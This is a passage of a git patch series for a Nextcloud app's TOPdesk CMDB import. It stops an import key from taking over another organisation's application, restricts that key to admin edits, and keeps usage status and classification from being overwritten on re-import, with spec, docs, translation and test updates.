$providerUuid, + array $options, + CmdbImportReport $report, + ): array { $result = $this->upsertModule( data: $data, - externalKey: $externalKey, + externalKey: $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey, + municipalityUuid: $municipalityUuid, providerUuid: $providerUuid, publicationDate: $options['publicationDate'], updateExisting: $options['updateExisting'] ); + if ($result['outcome'] === self::MODULE_CONFLICT) { + $this->logger->warning( + 'CmdbExportImportService: import key belongs to a module another organisation uses; row not imported', + ['module' => $result['uuid'], 'municipality' => $municipalityUuid, 'appId' => $matchKey] + ); + $reason = $this->l10n->t('conflict: the application with this import key is used by another organisation, so it is not changed'); + return ['uuid' => null, 'outcome' => $result['outcome'], 'skipReason' => $reason]; + } + + if ($result['outcome'] === 'exists') { + return ['uuid' => $result['uuid'], 'outcome' => $result['outcome'], 'skipReason' => $this->l10n->t('exists')]; + } + if ($result['outcome'] === CmdbImportReport::CREATED && $options['publicationDate'] === null) { $report->countUnpublished(); } - return $result; + return ['uuid' => $result['uuid'], 'outcome' => $result['outcome'], 'skipReason' => null]; }//end importModule() + /** + * Whether a module found by its import key may be updated for this municipality. + * + * The import key is a property of the module, so it is only trusted + * together with the usages: the module must already have a usage whose + * consumer is this municipality, or, before the first import, no usage + * at all. A module only another organisation uses is never taken over. + * + * @param string $moduleUuid The module found by its import key. + * @param string $municipalityUuid The consumer of this import. + * + * @return bool + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function moduleBelongsTo(string $moduleUuid, string $municipalityUuid): bool { + if ($this->findOne(schemaKey: 'usage', filters: ['consumer' => $municipalityUuid, 'module' => $moduleUuid]) !== null) { + return true; + } + + return $this->findOne(schemaKey: 'usage', filters: ['module' => $moduleUuid]) === null; + }//end moduleBelongsTo() + /** * Create, update, or leave the module matched on its external key. * * @param array $data The mapped module fields. * @param string $externalKey The match key. + * @param string $municipalityUuid The consumer, whose usage a matched module must have. * @param string|null $providerUuid The supplier, when there is one. * @param string|null $publicationDate ISO start time of the import for a module that is published * when created, or null to create it unpublished. * @param bool $updateExisting Whether a match is updated. * - * @return array{uuid: string, outcome: string} Outcome created, updated, unchanged or exists. + * @return array{uuid: string, outcome: string} Outcome created, updated, unchanged, exists, or conflict + * (MODULE_CONFLICT) for a module another organisation uses. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ - private function upsertModule(array $data, string $externalKey, ?string $providerUuid, ?string $publicationDate, bool $updateExisting): array { + private function upsertModule( + array $data, + string $externalKey, + string $municipalityUuid, + ?string $providerUuid, + ?string $publicationDate, + bool $updateExisting, + ): array { $data['externalKey'] = $externalKey; if ($providerUuid !== null) { $data['provider'] = $providerUuid; @@ -1017,6 +1083,10 @@ private function upsertModule(array $data, string $externalKey, ?string $provide } $uuid = (string)$existing->getUuid(); + if ($this->moduleBelongsTo(moduleUuid: $uuid, municipalityUuid: $municipalityUuid) === false) { + return ['uuid' => $uuid, 'outcome' => self::MODULE_CONFLICT]; + } + if ($updateExisting === false) { return ['uuid' => $uuid, 'outcome' => 'exists']; } diff --git a/lib/Settings/register.d/topdesk-cmdb-import.json b/lib/Settings/register.d/topdesk-cmdb-import.json index 9674345e8..801570f30 100644 --- a/lib/Settings/register.d/topdesk-cmdb-import.json +++ b/lib/Settings/register.d/topdesk-cmdb-import.json @@ -2,7 +2,7 @@ "components": { "schemas": { "module": { - "version": "0.3.7", + "version": "0.3.8", "properties": { "externalId": { "type": "string", @@ -25,8 +25,11 @@ "externalKey": { "type": "string", "title": "Import key", - "description": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.", + "description": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", "maxLength": 200, + "authorization": { + "update": ["admin"] + }, "visible": true, "facetable": false, "table": { diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index 2c2411855..0a4055c81 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -49,7 +49,7 @@ Paths are relative to `/index.php/apps/stackiq`. } ``` -`appId` is the row's APPID, the match key (`''` when the row has none). `outcome` is one of `created`, `updated`, `unchanged`, `skipped`, `failed`. `reasons` and `warnings` are translated strings that name columns and values; a formula cell without a cached value gives the warning `Column "": formula without a cached value, read as empty`. They never contain owner names, e-mail addresses or other person data. `summary.rowsRead` counts the non-empty rows in the workbook; `summary.processed` counts the rows in `rows`, which is lower than `rowsRead` only after a cancel. `summary.warnings` counts row warnings; `importWarnings` are not included. `summary.unpublished` counts the modules this import created without a `publicationDate` (`publish=false`), including one whose row then failed at the usage step; it is 0 with `publish=true`. +`appId` is the row's APPID, the match key (`''` when the row has none). `outcome` is one of `created`, `updated`, `unchanged`, `skipped`, `failed`. `reasons` and `warnings` are translated strings that name columns and values; a formula cell without a cached value gives the warning `Column "": formula without a cached value, read as empty`. A row whose import key belongs to a module that only other organisations use is `skipped` with reason `conflict: the application with this import key is used by another organisation, so it is not changed`, and `moduleUuid` `null`. They never contain owner names, e-mail addresses or other person data. `summary.rowsRead` counts the non-empty rows in the workbook; `summary.processed` counts the rows in `rows`, which is lower than `rowsRead` only after a cancel. `summary.warnings` counts row warnings; `importWarnings` are not included. `summary.unpublished` counts the modules this import created without a `publicationDate` (`publish=false`), including one whose row then failed at the usage step; it is 0 with `publish=true`. **Errors:** | Code | Condition | @@ -114,7 +114,7 @@ Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progres ## Versioning -Internal app API, unversioned like the other stackiq settings endpoints. The report fields above are additive-only: new fields MAY be added, and existing fields keep their meaning. (Before the first release the row field `middelId` was renamed to `appId`, together with the switch of the match key to the APPID.) The `module` properties `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt` and `externalModifiedAt` are part of the register schema and follow the register's versioning (`module` 0.3.5). +Internal app API, unversioned like the other stackiq settings endpoints. The report fields above are additive-only: new fields MAY be added, and existing fields keep their meaning. (Before the first release the row field `middelId` was renamed to `appId`, together with the switch of the match key to the APPID.) The `module` properties `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt` and `externalModifiedAt` are part of the register schema and follow the register's versioning (`module` 0.3.8). Only a Nextcloud admin can create or change `externalKey` through OpenRegister (property-level `update` rule `admin`); the import writes it with RBAC off. ## Breaking Change Policy diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index 685902939..f392f0f98 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -124,6 +124,7 @@ Per row: 1. A row without an APPID is skipped (`missing APPID`). An APPID already seen on the same sheet is skipped (`duplicate APPID in file`). An APPID on both sheets is imported from the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB"), whichever sheet the export lists first; the other row is skipped with that reason and a warning naming the APPID and the winning sheet. The CMDB sheets have no "Soort" column, so there is no row-kind filter. 2. Look up the module with `searchObjects` on the configured register and module schema, filtered on `externalKey`, with `_rbac: false` and `_multitenancy: false` (as `SbomImportService` does; the caller is an admin). The result is cached for the run. 3. No match: create the module from the mapped data, plus `externalKey`, the create-only defaults (`type: Application`), and `publicationDate` (D6). + A module found by `externalKey` counts as a match only when it has a usage whose consumer is this municipality, or no usage at all. `externalKey` is a module property, so on its own it is not proof of ownership: a module only another organisation uses is a conflict, reported as `skipped` and neither changed nor duplicated. The property also carries a write rule (`update: admin`), so only a Nextcloud admin can set it outside the import. 4. Match and `updateExisting=false`: skip with reason `exists`. 5. Match: merge the mapped fields onto the stored object. Every field the pack does not map stays as it is. Create-only fields stay as they are, unless the stored value is empty. If the merged object equals the stored one, do not save, and report `unchanged`. Otherwise save, and report `updated`. @@ -249,7 +250,7 @@ The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order a - **Imperative, because it is an external integration:** reading an uploaded third-party file, splitting a row into four linked objects, resolving contacts in Nextcloud Contacts, progress and cancel. These are not object lifecycle, aggregation, notification or relation rules that an `x-openregister-*` block can express. This is the external-integration exception: the service is imperative glue around the file. - **Declarative:** what each column becomes (target property, transform, lookup, required) is JSON in OpenRegister's migration-pack format, executed by OpenRegister's `MappingEngine`. Changing the mapping changes no PHP. -- **Matching rule (stated once, enforced in code):** a module matches when its `externalKey` equals `topdesk::`. A usage matches on (`consumer`, `module`). A supplier matches on its normalised name and type `Supplier`. A contact person matches on (`contactsUid`, `organization`). +- **Matching rule (stated once, enforced in code):** a module matches when its `externalKey` equals `topdesk::` and it has a usage of that municipality or no usage at all. A usage matches on (`consumer`, `module`). A supplier matches on its normalised name and type `Supplier`. A contact person matches on (`contactsUid`, `organization`). - **publicationDate rule (stated once, enforced in code):** set to the import's start time on create; never written on update. - No `x-openregister-*` block is added or changed. The usage name keeps coming from the schema's existing name template. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index e90abc8b8..1a10f5b85 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -190,7 +190,7 @@ The service SHALL map each normalised row with OpenRegister's `MigrationPack\Map ### Requirement: A module SHALL be matched on its TOPdesk APPID, so a re-import updates instead of duplicating (REQ-CMDB-006) -For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. When one exists it SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once on one sheet, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. When an APPID occurs on both sheets, the row of the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB") SHALL be imported, whichever sheet the export lists first, and the other row SHALL be skipped with reason `duplicate APPID in file` and a warning naming the APPID and the winning sheet. Before the file is read, the service SHALL check that the `module`, `organization`, `usage` and `contactPerson` schemas declare every property it matches on (for `module`: `externalKey`, `externalId`, `externalNumber`); when one lacks any, it SHALL answer 503 `SCHEMA_OUTDATED` with `details.schema` and `details.missing`, and SHALL write nothing, because OpenRegister answers a filter on an undeclared property with no rows and every row would be created again. +For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. A module found by its `externalKey` SHALL be treated as a match only when it has a usage whose `consumer` is the municipality, or no usage at all; a module that only other organisations use SHALL NOT be changed and SHALL NOT be duplicated, and the row SHALL be skipped with reason `conflict: the application with this import key is used by another organisation, so it is not changed`, whatever `updateExisting` says. `module.externalKey` SHALL carry a property-level rule that lets only Nextcloud admins (group `admin`) create or change it; the import writes it with RBAC off. When a match exists the service SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once on one sheet, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. When an APPID occurs on both sheets, the row of the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB") SHALL be imported, whichever sheet the export lists first, and the other row SHALL be skipped with reason `duplicate APPID in file` and a warning naming the APPID and the winning sheet. Before the file is read, the service SHALL check that the `module`, `organization`, `usage` and `contactPerson` schemas declare every property it matches on (for `module`: `externalKey`, `externalId`, `externalNumber`); when one lacks any, it SHALL answer 503 `SCHEMA_OUTDATED` with `details.schema` and `details.missing`, and SHALL write nothing, because OpenRegister answers a filter on an undeclared property with no rows and every row would be created again. #### Scenario: Re-importing the same export creates no duplicates @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -224,6 +224,23 @@ For each row the service SHALL compute `externalKey` = `topdesk::1` +- **WHEN** a Nextcloud admin imports an export with APPID `1` for "Gemeente Voorbeeldstad" +- **THEN** the row SHALL be `skipped` with reason `conflict: the application with this import key is used by another organisation, so it is not changed` +- **AND** the module of "Gemeente Anderstad" SHALL be unchanged, and no module and no usage SHALL be created +- **AND** a module with that key that "Gemeente Voorbeeldstad" uses, or that no organisation uses yet, SHALL be updated as before + +#### Scenario: Only an admin can change the import key +@e2e exclude Property-level write rules are enforced by OpenRegister's PropertyRbacHandler; tests/Unit/Settings/TopdeskCmdbFragmentTest.php testTheMergedModuleIsVersion038WithTheExternalIds asserts the merged module schema gives externalKey the update rule `admin` next to its read rule. + +- **GIVEN** a signed-in member of `software-catalog-admins` who is not a Nextcloud admin +- **WHEN** they save a module with a changed `externalKey` +- **THEN** OpenRegister SHALL refuse the save naming `externalKey` +- **AND** the module's `externalKey` SHALL stay as it was, while a Nextcloud admin and the import can still set it + #### Scenario: An APPID on both sheets is imported from the Beheerde sheet @e2e exclude Needs a workbook with the same APPID on both sheets; tests/Unit/Service/CmdbExportImportServiceTest.php testTheBeheerdeRowWinsOverTheOnbehRow lists the "Onbeh" row first and asserts the "Beheerde" row is created, the other skipped with its reason and warning. diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index a336a8256..2fc79d561 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1191,6 +1191,62 @@ public function testPublishDecidesThePublicationDateOfCreatedModulesOnly(): void $this->assertArrayHasKey('publicationDate', $this->store[self::MODULE][$report['rows'][0]['moduleUuid']], 'publish defaults to true'); }//end testPublishDecidesThePublicationDateOfCreatedModulesOnly() + /** + * A module whose import key was set to this municipality's but that only another organisation uses is not taken over. + * + * The row is skipped as a conflict, the module and its usage stay as they are, and no second module or usage is created. + * + * @return void + */ + public function testAnImportKeyOnAnotherOrganisationsModuleIsAConflict(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->seedOrganisation(uuid: 'muni-2', name: 'Gemeente Anderstad', type: 'Municipality'); + $foreign = ['id' => 'mod-foreign', 'name' => 'Van Anderstad', 'externalKey' => 'topdesk:muni-1:1', 'website' => 'https://anderstad.example']; + $this->store[self::MODULE]['mod-foreign'] = $foreign; + $this->store[self::USAGE]['usage-foreign'] = ['id' => 'usage-foreign', 'consumer' => 'muni-2', 'module' => 'mod-foreign']; + $before = [count($this->store[self::MODULE]), count($this->store[self::USAGE])]; + + foreach ([true, false] as $updateExisting) { + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import( + path: '', + options: ['municipalityUuid' => 'muni-1', 'updateExisting' => $updateExisting] + ); + + $this->assertSame('skipped', $report['rows'][0]['outcome']); + $this->assertSame(['conflict: the application with this import key is used by another organisation, so it is not changed'], $report['rows'][0]['reasons']); + $this->assertNull($report['rows'][0]['moduleUuid']); + $this->assertNull($report['rows'][0]['usageUuid']); + } + + $this->assertSame($foreign, $this->store[self::MODULE]['mod-foreign'], 'the other organisation\'s module is unchanged'); + $this->assertSame($before, [count($this->store[self::MODULE]), count($this->store[self::USAGE])], 'no module and no usage is created'); + $conflicts = array_filter($this->logLines, static fn (string $line): bool => str_contains($line, 'another organisation uses')); + $this->assertCount(2, $conflicts); + }//end testAnImportKeyOnAnotherOrganisationsModuleIsAConflict() + + /** + * A module found by its import key is updated when this municipality uses it, also when others use it too, or when nobody does yet. + * + * @return void + */ + public function testAModuleThisMunicipalityUsesOrNobodyUsesIsUpdated(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->seedOrganisation(uuid: 'muni-2', name: 'Gemeente Anderstad', type: 'Municipality'); + $this->store[self::MODULE]['mod-shared'] = ['id' => 'mod-shared', 'name' => 'Oud', 'externalKey' => 'topdesk:muni-1:1']; + $this->store[self::USAGE]['usage-other'] = ['id' => 'usage-other', 'consumer' => 'muni-2', 'module' => 'mod-shared']; + $this->store[self::USAGE]['usage-own'] = ['id' => 'usage-own', 'consumer' => 'muni-1', 'module' => 'mod-shared']; + $this->store[self::MODULE]['mod-new'] = ['id' => 'mod-new', 'name' => 'Nog niet gebruikt', 'externalKey' => 'topdesk:muni-1:2']; + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', row: 2), $this->row(appId: '2', row: 3)])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(['updated', 'updated'], array_column($report['rows'], 'outcome')); + $this->assertSame(['mod-shared', 'mod-new'], array_column($report['rows'], 'moduleUuid')); + $this->assertSame('Applicatie 1', $this->store[self::MODULE]['mod-shared']['name']); + $this->assertSame('Applicatie 2', $this->store[self::MODULE]['mod-new']['name']); + $this->assertCount(2, $this->objects(self::MODULE)); + }//end testAModuleThisMunicipalityUsesOrNobodyUsesIsUpdated() + /** * A municipality uuid must be an organisation of type Municipality. * diff --git a/tests/Unit/Settings/PublicationFieldRulesTest.php b/tests/Unit/Settings/PublicationFieldRulesTest.php index c47505f3e..82c6774ae 100644 --- a/tests/Unit/Settings/PublicationFieldRulesTest.php +++ b/tests/Unit/Settings/PublicationFieldRulesTest.php @@ -95,7 +95,8 @@ public function testPrivateFieldsReadForSignedInUsersOnly(): void { foreach ($private as $schema => $fields) { foreach ($fields as $field) { $this->assertArrayHasKey($field, $schemas[$schema]['properties'], $schema . '.' . $field . ' exists'); - $this->assertSame(['read' => ['authenticated']], $schemas[$schema]['properties'][$field]['authorization'] ?? null, $schema . '.' . $field); + // Other fragments may add write rules (module.externalKey: update by admin only); the read rule is this one. + $this->assertSame(['authenticated'], $schemas[$schema]['properties'][$field]['authorization']['read'] ?? null, $schema . '.' . $field); $this->assertArrayHasKey('type', $schemas[$schema]['properties'][$field], $schema . '.' . $field . ' is a real property, not a rule on nothing'); } } diff --git a/tests/Unit/Settings/TopdeskCmdbFragmentTest.php b/tests/Unit/Settings/TopdeskCmdbFragmentTest.php index 13e592f38..3636fa5fb 100644 --- a/tests/Unit/Settings/TopdeskCmdbFragmentTest.php +++ b/tests/Unit/Settings/TopdeskCmdbFragmentTest.php @@ -56,14 +56,14 @@ private function mergedRegister(): array { }//end mergedRegister() /** - * The merged module is 0.3.7, carries the six optional, titled properties and allows BBN2+. + * The merged module is 0.3.8, carries the six optional, titled properties and allows BBN2+. * * @return void */ - public function testTheMergedModuleIsVersion037WithTheExternalIds(): void { + public function testTheMergedModuleIsVersion038WithTheExternalIds(): void { $module = $this->mergedRegister()['components']['schemas']['module']; - $this->assertSame('0.3.7', $module['version'], 'a fragment sorting after topdesk-cmdb-import.json overwrote the bump'); + $this->assertSame('0.3.8', $module['version'], 'a fragment sorting after topdesk-cmdb-import.json overwrote the bump'); foreach (self::PROPERTIES as $property) { $this->assertArrayHasKey($property, $module['properties']); $this->assertNotEmpty($module['properties'][$property]['title'] ?? '', $property); @@ -77,13 +77,19 @@ public function testTheMergedModuleIsVersion037WithTheExternalIds(): void { $this->assertSame(50, $module['properties']['externalNumber']['maxLength']); $this->assertSame(200, $module['properties']['externalKey']['maxLength']); $this->assertSame(['default' => false], $module['properties']['externalKey']['table']); + $this->assertSame( + ['read' => ['authenticated'], 'update' => ['admin']], + $module['properties']['externalKey']['authorization'], + 'only an admin writes the import key, and the read rule of publication-field-rules.json still applies' + ); + $this->assertSame(['read' => ['authenticated']], $module['properties']['externalNumber']['authorization'], 'the APPID itself is not a match key'); $this->assertSame('date', $module['properties']['externalCreatedAt']['format']); $this->assertSame('date', $module['properties']['externalModifiedAt']['format']); $this->assertSame(100, $module['properties']['applicationType']['maxLength']); $this->assertSame(['BBN1', 'BBN2', 'BBN3', 'BBN2+'], $module['properties']['bbnLevel']['enum'], 'the fragment adds BBN2+ to the BIO levels'); $this->assertArrayHasKey('roadmapStatement', $module['properties'], 'the 0.3.4 fragment still applies'); $this->assertSame(['name'], $module['required']); - }//end testTheMergedModuleIsVersion037WithTheExternalIds() + }//end testTheMergedModuleIsVersion038WithTheExternalIds() /** * The fragment sorts after the fragment that set module 0.3.4. From 7bb76dbdb9c9f6c2862c24a8374392e7c8c75c66 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:45:44 +0200 Subject: [PATCH 145/176] fix(cmdb-import): a re-import keeps the usage status and TIME classification set in stackiq With "Update existing records" on, every re-import wrote the export's "Applicatie Status" and "Classificatie" over the usage's status and TIME classification, so an administrator's assessment in stackiq was lost on the next import. Both are now create-only in the import profile, as the internal note already was: set when the usage is created or the field is empty, never overwritten. The section's help text and the docs page say which fields a re-import overwrites and which it only sets on create. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 11 +++++-- l10n/en.js | 3 +- l10n/en.json | 3 +- l10n/nl.js | 3 +- l10n/nl.json | 3 +- lib/Settings/cmdb-import/topdesk-profile.json | 2 +- openspec/changes/cmdb-export-import/design.md | 2 +- .../specs/cmdb-export-import/spec.md | 10 +++++- src/views/settings/sections/CmdbImport.vue | 8 +++++ .../Service/Cmdb/CmdbImportProfileTest.php | 2 +- .../Service/CmdbExportImportServiceTest.php | 32 +++++++++++++++++++ 11 files changed, 68 insertions(+), 11 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index f5696e9f8..16998eced 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -158,8 +158,8 @@ date stored there, including one set by hand. | Datum | module external creation date | Excel date | | Referentie datum wijziging | module external modification date | Excel date | | Vendor | Supplier organisation, set as provider on the module and the usage | one organisation per name, see below | -| Applicatie Status | usage status | In productie → In production, In voorraad → Planned, In ontwikkeling → Acquisition, Uit te faseren and Moet verwijderd worden → To be phased out, Uitgefaseerd and Verwijderd → Phased out, Besteld and Wordt getest → Acquisition, Stand-by voor continuïteit → In production; another value is dropped with a warning | -| Classificatie | usage TIME classification | Tolereren/Tolerate (also `1. Tolereren (wordt ingelezen)`), Investeren/Invest, Migreren/Migrate, Elimineren/Eliminate | +| Applicatie Status | usage status | set only when the usage is new or its status is empty; In productie → In production, In voorraad → Planned, In ontwikkeling → Acquisition, Uit te faseren and Moet verwijderd worden → To be phased out, Uitgefaseerd and Verwijderd → Phased out, Besteld and Wordt getest → Acquisition, Stand-by voor continuïteit → In production; another value is dropped with a warning | +| Classificatie | usage TIME classification | set only when the usage is new or its TIME classification is empty; Tolereren/Tolerate (also `1. Tolereren (wordt ingelezen)`), Investeren/Invest, Migreren/Migrate, Elimineren/Eliminate | | End-of-Life Functioneel | usage phase-out date | Excel date, stored as is | | (the sheet), Cluster, Applicatie Eigenaar (Afdeling) | usage internal annotation | `Beheer geregeld: ja` or `nee`, the cluster and the department, joined with ` / `; written only when the usage is new or the note is empty | | Applicatie Eigenaar (Persoon), Applicatie Eigenaar (Functie) | usage business owner (contact person) | see [Owners](#owners) | @@ -188,7 +188,12 @@ colliding. (the moment the import started), so OpenCatalogi lists it; with it off, the module has no publication date and is not public. - **Known APPID, values changed**: only the fields in the column table - are updated. Everything else on the module stays as it is, for example a + are updated, and of those, the usage's status, TIME classification and + internal note only when they are empty: a status or classification set in + stackiq stays, whatever the export says. A re-import does overwrite the + application's name, descriptions, application type, hosting model, BBN + level, source fields and supplier, and the usage's phase-out date and + business owner. Everything else on the module stays as it is, for example a website an administrator added. The publication date and the depublication date are never changed: a module an administrator depublished stays depublished. The row is reported as *updated*. diff --git a/l10n/en.js b/l10n/en.js index 14eaa4e83..8ab58095f 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1125,7 +1125,8 @@ OC.L10N.register( "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.", "Created unpublished": "Created unpublished", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", - "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed" + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index de504b70a..2f8446b52 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1124,6 +1124,7 @@ "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.", "Created unpublished": "Created unpublished", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", - "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed" + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." } } diff --git a/l10n/nl.js b/l10n/nl.js index 7de13a725..921d22f62 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1195,7 +1195,8 @@ OC.L10N.register( "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "Een gepubliceerde applicatie is voor iedereen zichtbaar, ook voor anonieme bezoekers van OpenCatalogi. Staat dit uit, dan blijven de applicaties die deze import aanmaakt ongepubliceerd tot u ze zelf publiceert. Eerder geïmporteerde applicaties houden hun publicatie zoals die is.", "Created unpublished": "Ongepubliceerd aangemaakt", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", - "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd" + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De status, de TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index d6032d96a..d2d522fb4 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1194,6 +1194,7 @@ "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "Een gepubliceerde applicatie is voor iedereen zichtbaar, ook voor anonieme bezoekers van OpenCatalogi. Staat dit uit, dan blijven de applicaties die deze import aanmaakt ongepubliceerd tot u ze zelf publiceert. Eerder geïmporteerde applicaties houden hun publicatie zoals die is.", "Created unpublished": "Ongepubliceerd aangemaakt", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", - "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd" + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, 